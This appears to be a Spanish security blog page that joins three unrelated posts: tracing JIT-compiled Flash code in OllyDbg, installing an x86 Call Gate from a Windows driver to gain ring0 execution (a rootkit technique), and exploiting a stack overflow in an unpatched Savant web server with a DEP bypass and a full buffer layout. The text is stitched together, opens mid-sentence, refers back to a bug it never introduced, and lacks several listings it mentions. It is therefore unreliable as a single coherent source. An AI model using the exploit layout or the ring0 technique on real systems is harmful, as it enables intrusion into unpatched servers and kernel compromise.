Process explorer o task manager

En su blog hace tiempo escribió una entrada llamada “Getting Pointers from Leaky Interpreters”, en la que explica como armando diccionarios de hash tables, se puede obtener un puntero hacia nuestro código.

En ese post, el mostró un ejemplo hecho en actionscript que en ese momento no supo como compilarlo como SWF, pero menciono que compilador estaba utilizando a la hora de sus pruebas.
Nuestro objetivo sera crear un SWF con un texto al estilo “Hola mundo”, y algunos XORs asi probamos que tan bien nos va identificando el código.

Primer paso: Herramientas.

Para poder generar nuestro swf a partir de un archivo .as ( actionscript ), necesitaremos descargar el redtamarin y el Alchemy.
El redtamarin es el compilador ( asc.jar ) que utilizaremos para nuestro actionscript, el Alchemynos dara la lib playerglobal.abc.
Copiaremos este ultimo file dentro del folder del tamarin como primer paso.

Segundo paso: example.as

Creo que no hace falta describir que hace esto xD

Tercer paso: Hacer nuestro swf !

Para generar un swf a partir de nuestro example.as iremos al cmd y ejecutaremos el asc.jar de la siguiente manera:

java -jar asc.jar -swf example,400,400 -import builtin.abc -import playerglobal.abc example.as

Lo único a comentar aquí es que el parámetro swf tiene como parámetros: classname,width,height.

El resultado de la ejecución en nuestro caso es: example.swf, 645 bytes written

Para ver nuestro swf podemos simplemente volcarlo dentro de nuestro navegador, o hacer algún simple html que lo cargue:

Vemos que va bien.. ahora le agregamos un simple while(true) para que podamos usarlo para encontrar el código JITeado.

Aprovechamos y también le agregamos algunos valores para que los xoree, y de paso ver si lo podemos identificar en el debugger mientras vamos traceando.

Cuarto paso: Debuggear el codigo JITeado.

Abrimos nuestro html, y antes de cargar el swf nos pide permiso para ejecutarlo, aquí nos attacheareamos con el Olly al IE8 en nuestro caso y veremos mínimo dos procesos del iexplore.exe corriendo, vamos a attacheanos al que tiene como window name Sysfader.

El taskmanager o el process explorer lo dejaremos minimizado al tray asi podemos estimar que cuando entramos al loop infinito en nuestro código JITeado.

Le daremos Run al Olly, parara algunas veces en memory breakpoints en el flash10b pero nosotros seguiremos hasta que no tire excepciones y el cpu este como mencionamos anteriormente trabajando de manera constante al 100% ( en caso de que sea single core ), en este momento pausamos el proceso.

Iremos a la ventana de Threads, y buscaremos el nuestro que estará en el heap, ya que la mayoría van a estar parados en la ntdll sera sencillo encontrar el único thread diferente.

Aquí pueden pasar dos cosas: la primera es que no estemos en el loop infinito, entonces empezaremos de 0 nuevamente, o bien puede ocurrir que encontremos el thread parado en el heap como en este caso:

Ahora veamos el codigo algo mas completo:

<span style="font-size: x-small;">019C01E1 MOV EAX,DWORD PTR DS:[25EB0D8]
019C01E7 TEST EAX,EAX
019C01E9 JNZ 019C025F
019C01EF MOV EAX,1
019C01F4 TEST EAX,EAX
019C01F6 JNZ 019C01E1
019C01FC PREFIX REPNE:
019C01FD MOVUPS XMM0,DQWORD PTR DS:[25815E0]
019C0204 PREFIX REPNE:
019C0205 MOVUPS XMM1,DQWORD PTR DS:[25815E8]
019C020C PREFIX REPNE:
019C020D MOVUPS DQWORD PTR SS:[EBP-2C],XMM1
019C0211 PREFIX REPNE:
019C0212 MOVUPS DQWORD PTR SS:[ESP-8],XMM0
019C0217 SUB ESP,8
019C021A CALL Flash10d.101F1C30
019C021F ADD ESP,8
019C0222 MOV EBX,EAX
019C0224 PUSH DWORD PTR SS:[EBP-28]
019C0227 PUSH DWORD PTR SS:[EBP-2C]
019C022A CALL Flash10d.101F1C30
019C022F ADD ESP,8
<strong>019C0232 XOR EBX,EAX</strong>
019C0234 PREFIX REPNE:
019C0235 MOVUPS XMM0,DQWORD PTR DS:[25815F0]
019C023C PREFIX REPNE:
019C023D MOVUPS DQWORD PTR SS:[ESP-8],XMM0
019C0242 SUB ESP,8
019C0245 CALL Flash10d.101F1C30
019C024A ADD ESP,8<strong>
019C024D XOR EBX,EAX
019C024F XOR EBX,DDDDDDDD</strong><strong> ; It looks familiar right ?
019C0255 MOV EAX,4
019C025A JMP 019C0267
019C025F MOV ECX,DWORD PTR SS:[EBP+8]
019C0262 CALL Flash10d.1020E410</span>

Quinto paso: Automatizando con un script

Hay varios caminos para tomar a la hora de llegar a donde empieza realmente nuestro código JITeado, adjunto un simple ODbgScript que mediante hardware breakpoints en VirtualProtect nos guiara hacia la presa
Ejecutarlo una vez que tira la primer excepción como explicamos mas arriba en el posteo.

De aquí en mas pueden agregarle código a su Actionscript y seguir jugando

Se agradece a Acid y Gera que colaboraron con el debugging del engine de Flash.

Una Call Gate es un mecanismo en la arquitectura x86 de Intel para cambiar el nivel de privilegio de la CPU cuando se ejecuta una función predefinida llamada mediante una instrucción CALL/JMP FAR.

Una llamada a una Call Gate permite obtener un privilegio superior al actual, por ejemplo podemos ejecutar con un CALL FAR en ring3 una rutina en ring0. Una Call Gate es una entrada en la GDT (Global Descriptor Table) o en la LDT  (Local Descriptor Table).

Windows no utiliza Call Gates para nada en especial, pero hay malware como el gusano Gurong.A, que instala una Call Gate a través de \Device\PhysicalMemory para ejecutar código en ring0. Un artículo que ya hablaba sobre el tema es “Playing with Windows /dev/(k)mem” de crazylord publicado en la Phrack 59.

Hoy en día no se puede hacer tan fácilmente lo de acceder a /Device/PhysicalMemory, recomiendo leer la presentación de Alex Ionescu  en la RECON 2006 “Subverting Windows 2003 SP1 Kernel Integrity Protection“. También hay ejemplos por la red que usan la API ZwSystemDebugControl para instalar una Call Gate, pero como comenta el artículo de Ionescu tampoco funciona hoy en día (aunque siempre hay técnicas para reactivarlos de nuevo).

IMHO, la mejor manera para instalar una Call Gate es un driver como lo hace el ejemplo del libro Rootkit Arsenal, ahora voy a explicar el ejemplo que trae y añadir algunas cosas que veo que faltan:
Una entrada en la GDT tiene esta pinta:

Y una Call Gate es un tipo de entrada en la GDT con el siguiente aspecto:

offset_00_15: es la parte baja de la dirección de la rutina que se ejecutará en ring0, offset_16_31 es la parte alta.

selector: especifica el segmento de código, con el valor KGDT_R0_CODE (0×8), la rutina se ejecutará con privilegios de ring0.

argCount: es el número de argumentos de la rutina en DWORDs.

type: es el tipo de descriptor, para una Call Gate de 32 bits necesita el valor 0xC

dpl: es el privilegio mínimo que debe tener el código que llama para poder ejecutar la rutina, en te caso 0×3, ya que será llamada por una rutina de ring3.

Los pasos para crear una Call Gate son:

1. Construir la Call Gate que apunte a nuestra rutina.
2. Leer el registro GDTR para poder encontrar la GDT usando la instrucción: SGDT. El registro GDTR tiene la siguiente pinta:
   typedef struct _GDTR
   {
   WORD  nBytes;
   DWORD baseAddress;
   } GDTR;

Para obtener el número de entradas en la GDT basta con un GDTR.nBytes / 8.

1. Buscar una entrada libre en la GDT.
2. Escribir la Call Gate.

Para llamar a la Call Gate solo es necesario hacer un CALL FAR al selector de la GDT, es decir si hemos introducido la Call Gate en la entrada 6 de la GDT, la aplicación de espacio de usuario deberá ejecutar un CALL FAR 006:00000000. La otra parte del FAR CALL no sirve para nada pero debe estar en la instrucción.

La rutina de la Call Gate debe salvar los registros: EAX, ECX, EDX, EBX, EBP, ESP, ESI, EDI, EFLAGS y FS. Además debe desactivar las interrupciones con CLI. El selector de FS debe ser 0×30, después solo es necesario restaurar los registros y activar las interrupciones con STI y un RETF si se desea volver a ring3. Todo esto está sacado de nt!KiDebugService() por si te lo estás preguntando.

Bueno y ahora es el momento de los matices, el POC code del libro no tiene en cuenta la posibilidad de existir varios COREs, esto quiere decir que solo es capaz de instalar la Call Gate en el CORE que toque cuando se cargue el driver y la GDT del otro CORE queda intacta, el problema es que si la aplicación de espacio de usuario hace un FAR CALL estando en otro CORE donde no existe la Call Gate no funcionará.

En Windows es sencillo controlar esto con dos APIs: para obtener el número de COREs se puede usar un simple

Para el número de COREs lógico se puede usar GetLogicalProcessorInformation.
SYSTEM_INFO tiene la siguiente pinta:

Con el campo dwNumberOfProcessors podemos realizar un bucle para ir CORE por CORE añadiendo la Call Gate, también se puede forzar al driver a instalar la Call Gate en el primer core (1) y que la aplicación de espacio de usuario solo se ejecute en el core 1, esto se consigue con la API: SetThreadAffinityMask, que es asín:

Pasándole un GetCurrentThread() y como AffinityMask el valor 1,

Ojito, DWORD_PTR no es un puntero a DWORD, se pasa por valor.

Si se hace un for con el número de procesadores y con la variable índice (el primero core es 1 no 0) como Affinity puedes instalar una Call Gate en todos los cores.

En el driver que adjunto como POC desde el driver muestro la GDT de todos los COREs para mostrar lo que digo, solo saldrá la Call Gate en un CORE.

Para hacer esto desde un driver es necesario un:

Para obtener el número de cores y un:

Para cambiar de core, -2 es el equivalente del GetCurrent…

Otra cosa rara del POC del libro es que pasaba la GDT por valor y no el puntero a PrintGDT y eso me daba problemas, lo he cambiado para que se pase como PSEG_DESCRIPTOR y todo funciona sin problemas.

Y esto es todo, el código es bastante claro, espero que se haya entendido, un saludo desde 48bits.

Descargar el driver desde aquí: http://www.48bits.com/files/cgaty.rar

Driver probado en: XP y VISTA (bin driver: WinDDK 6001.17121 & XP x86 Free build).

Algunas lecturas sobre call gates:

http://www.phrack.com/issues.html?issue=59&id=16

http://en.wikipedia.org/wiki/Call_gate

http://www.intel.com/design/processor/manuals/253668.pdf
http://ricardonarvaja.info/WEB/OTROS/TUTES%20SACCOPHARYNX/
http://members.fortunecity.com/blackfenix/callgates.html

Volviendo al tema del bug en cuestión, como ya he dicho se trata de un clásico overflow de buffer en la pila. En este caso la situación se dá cuando un usuario realiza una petición HTTP que no está reconocida, o dicho de otra forma, cuando el usuario tiene ganas de marcha. He dicho que se trata de un clásico overflow en la pila, y eso no es nada nuevo. Cierto. Pero por algo hemos comentado el DEP en Windows 2003 Server SP1. Hablando en plata, lo que no he encontrado en ningún sitio es un exploit público que sobrepase DEP para este bug, y puesto que ya está hecho a lo mejor le sirve de ayuda a alguien para sus futuros planes de dominar el mundo

Bromas aparte, por motivos éticos, no voy a publicar el codigo del exploit, por dos razones basicas:

• Cualquiera que séa capaz de entender este post, es capaz de escribir su propio exploit.
• El bug sigue sin ser corregido en la última versión del software.

Desgraciadamente, parece ser que el proyecto lleva algún tiempo abandonado y aprovechando esto, con motivos siempre educativos, vamos a ver que se puede hacer. Odio tener que poner disclaimers en los posts, pero es mejor prevenir que curar. El que utilice lo aquí mostrado con cualquier tipo de fin, lo hace bajo su propia responsabilidad y sin ninguna garantía. Accediendo a esta pagina estas de acuerdo con lo aquí mencionado. Ahora al lio.

Si hacemos una traza del flujo de un paquete poniendo unos breakpoints en los tipicos recv() y recvfrom(), veremos que se hace uso de un wrapper en 0×00401023. Una vez recibido el paquete, se procede a analizar la cabecera para comprobar que tipo de petición se ha recibido. Si hemos tenido la mala suerte de hacer una petición que no corresponde a ninguno de los que el servidor reconoce, acabamos llegando a la rutina en 0x0040BFA0, que es donde vamos a exprimir la naranja. Lo primero que se hace en esta función es llamar a una rutina en 0×00401285 que se encarga de encadenar el path que nuestro paquete señala, al path del directorio de trabajo de Savant. A pesar de que se hacen varios usos de nuestro amigo strcpy() el bug reside hacia el final de la rutina, concretamente en:

La cagada ya está hecha. Ahora volvemos al caller que será el encargado de redirigir la ejecución a donde nosotros le hayamos dicho. Ahora vamos a pensar que tipo de petición vamos a construir. Lo que haremos sera algo que guardara un lejano parecido con una correcta petición HTTP:

METODO | <espacio en blanco> | / | <nuestro path>

En cuanto al espacio disponible, conocemos lo siguiente:

• recv() nos permite hasta un máximo de 0×4000 bytes.
• METODO puede tener como máximo 24 bytes.
• <nuestro path> puede albergar un máximo de 250 bytes hasta (sin incluir) el valor ret, más 32 bytes adicionales después de este último.

Como ya he mencionado anteriormente, el jugo en este caso es saltarse la protección DEP. A pesar de que se han planteado varias soluciones, mi favorita es la propuesta por skape y Skywing en este articulo para el 2º Volumen de Uninformed. No voy a entrar en detalles de la tecnica, es una lectura bastante corta y recomendable, pero aquí os haré un resumen. Lo que trataremos de hacer, en vez de redefinir los parámetros de acceso de una región de memoria, será de desactivar DEP completamente para todo el proceso. Para ello haremos un ret2code o dicho en lenguaje llano, reutilizar codigo existente en memoria. En el articulo se demuestra una secuencia de código que yo personalmente no he encontrado en la versión española de la plataforma. Pero tras bucear entre dumps de memoria, encontramos la siguiente secuencia dentro de ntdll.dll:

Y tras el jump:

Ahora nos encontramos con un problema. El leave que se ejecuta justo antes de hacer ret, hace un cambio de frame en una sola instrucción y nos jode el fake frame que necesitamos para encadenar secuencias de ret’s y volver a ejecutar nuestro codigo. Así es como termina la secuencia de ejecución de 0x0040BFA0, que es la que nos da control sobre la ejecución:

Como se puede observar, obtenemos ebp de la pila y aunque a primera vista esto no parezca un problema, lo es. El problema radica en que el fake frame que queremos construir esta en la pila, cuyas direcciones son del tipo 0x00XXXXXX. Así pues, no podemos poner valores de ese tipo en nuestro buffer por que tiene bytes nulos y se nos desmonta la barraca. Que podemos hacer frente a esto? Lo único que se me ha ocurrido ha sido utilizar algún tipo de operador logico para construir nuestro valor en tiempo de ejecución. Lo que nos lleva a la siguiente secuencia de codigo dentro de shell32.dll:

Que termina saltando a:

A pesar de que tenemos un call algo feo ahí, no hay nada de lo que preocuparse porque el ebp que acabamos de construir se salva con el push del prologo y el pop del epilogo. El resto del proceso de explotación no conlleva mayores cábalas. Como controlamos ebp, controlamos el ret de 0x7CA0DF3B. Bastaría con volver a algun codigo como jmp esp, para continuar ejecutando, ahora sin DEP, desde la pila. El ultimo problema que tenemos es que solo tenemos 250 bytes de espacio para albergar nuestro shellcode que, además debe estar con codificación alfanumérica. Por lo tanto, la estructura de nuestro buffer final podría ser algo así:

<padding> + <espacio en blanco> +  / + <padding> + <jmp_esp> + <shellcode> + <valor de ebp> + <primer ret> + <ret2dep> + <referenciable 1> + <referenciable 2> + <referenciable 3> + ‘\r\n\r\n’

Un par de comentarios sobre la estructura. Primero, recordar que el <valor de ebp> debe ser el adecuado para que despues del XOR obtengamos el valor que nos interesa. Segundo, los tres valores que marco como referenciables, son 3 valores de 4 bytes que apunten a una región de memoria con permisos de lectura y escritura, sino el programa no seguirá el camino que nos interesa. Por otro lado, entiendo que esta solución no es la optima y esta lejos de ser una solución universal, pero como ejemplo, pienso que demuestra un caso curioso.

Mención especial para Ruben y Joxean por su paciencia y atención!

La versión original de esto post la podeis encontrar aquí.